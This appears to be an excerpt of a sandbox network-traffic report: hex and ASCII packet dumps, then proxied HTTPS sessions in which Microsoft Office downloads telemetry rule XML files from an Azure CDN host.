Nov 13, 2024 14:43:09.478807926 CET	1236	IN	Data Raw: 5a 59 47 c2 61 53 40 9e ce f7 57 77 6f 08 82 7f c4 62 73 ad db c7 ed 34 90 e0 f8 63 e8 bb 8d 05 03 39 e7 4c 87 c4 8f 11 a0 ba 4a fa fa 78 88 63 3b 03 0f 67 a0 f7 78 86 86 8b e2 66 bb b5 83 95 d6 fe 1c c6 7d 65 70 ef d7 f4 81 ff 77 e5 cd 84 05 a1 Data Ascii: ZYGaS@Wwobs4c9LJxc;gxf}epw]qtV43m)if7;ywgan1;FWzc-HFd>1GR6*=VSyFQ7R<QadqjU<Q"x\E'W<T{p(Gvt
Nov 13, 2024 14:43:09.478821039 CET	1236	IN	Data Raw: 98 9e 66 7b 25 48 6e 43 79 47 e6 65 13 6a 00 2b 9b 72 ec 8a f0 4e 4a 4d 58 33 6a b6 c7 b4 6f 97 e5 d8 bc 8b ec 10 11 9f 2b b1 a6 5b 8f 0d 3e bf 9b e4 7d 67 e0 b8 a3 36 f8 07 6a 46 44 a3 e1 4a a0 64 77 a2 77 ea 05 0d 12 c1 08 67 93 37 a8 ee ee 25 Data Ascii: f{%HnCyGej+rNJMX3jo+[>}g6jFDJdwwg7%\]NnRBC,6/}L]Kd\|q(?YQu%jQ\_ytD>`zy\|.^'gU(E^Vh;BNBRe\|uMF
Nov 13, 2024 14:43:09.478833914 CET	1236	IN	Data Raw: c4 05 89 ae c0 65 8e 4e b6 c8 fe 8f 7f 44 28 b6 72 36 76 d9 56 08 0d 59 29 8a 77 b1 c7 e3 d8 69 a0 cf cb 65 14 af 27 c5 e1 a9 08 8c 1f 33 40 8a 40 8b 85 46 7d 0d a1 ed 2b 84 f9 f9 94 2b 8b b2 5a e2 7f 4d f7 30 9e 9d ed c3 79 66 56 61 1d f7 dc d3 Data Ascii: eND(r6vVY)wie'3@@F}++ZM0yfVaMUl^UdlEpGMba\u\|jFqUm&e%x\|o8}#l2gCNxWal\|{:`lZ1Poag
Nov 13, 2024 14:43:09.483944893 CET	1236	IN	Data Raw: a0 3a 08 6c 7a 8d 1e 99 19 ec ec 24 8b 8a 7f 4e 6f cc 54 f0 1f 40 81 cd 03 90 fe a1 f6 e9 03 de 8a ce 89 e1 45 28 76 b8 66 96 76 76 5f c1 2b 69 23 44 0f d9 d9 72 99 dd 91 5e 5c 16 7f d2 c1 1e 3f 2e 54 02 76 e7 24 46 32 7f 81 46 d2 0d 82 e2 16 00 Data Ascii: :lz$NoT@E(vfvv_+i#Dr^\?.Tv$F2F"jmNwFg1Y3YSfXKeFsGX<~OQ7~V{8o wn]H?wsiG&}773Q_P?e0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49700	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:11 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:12 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:12 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 11 Nov 2024 13:19:38 GMT ETag: "0x8DD02537E74B538" x-ms-request-id: a1588731-601e-000d-094b-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134112Z-16547b76f7fvllnfhC1DFWxkg80000000hb0000000001wmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:12 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-13 13:41:12 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-13 13:41:12 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-13 13:41:12 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-13 13:41:12 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-13 13:41:12 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-13 13:41:12 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-13 13:41:12 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-13 13:41:12 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-13 13:41:12 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49703	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:13 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:13 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: c44deeeb-501e-0078-1d59-3506cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134113Z-1749fc9bdbdjjp8thC1DFWye6g000000011g000000007wzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:13 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49704	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:13 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:13 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 216c6b49-701e-001e-23a0-34f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134113Z-r178fb8d7656shmjhC1DFWu5kw00000001500000000077bs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:13 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49705	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:13 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:13 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f8aed360-a01e-0032-69a0-341949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134113Z-1749fc9bdbd6szhxhC1DFW199s000000010000000000f5eb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:13 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49701	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:13 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:13 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:13 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 47cde2a8-501e-0047-01a2-34ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134113Z-1749fc9bdbdgs9sshC1DFWt6ws000000012000000000ffrr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 13:41:13 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49702	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:13 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:13 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134113Z-16547b76f7fknvdnhC1DFWxnys0000000h4000000000hss9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
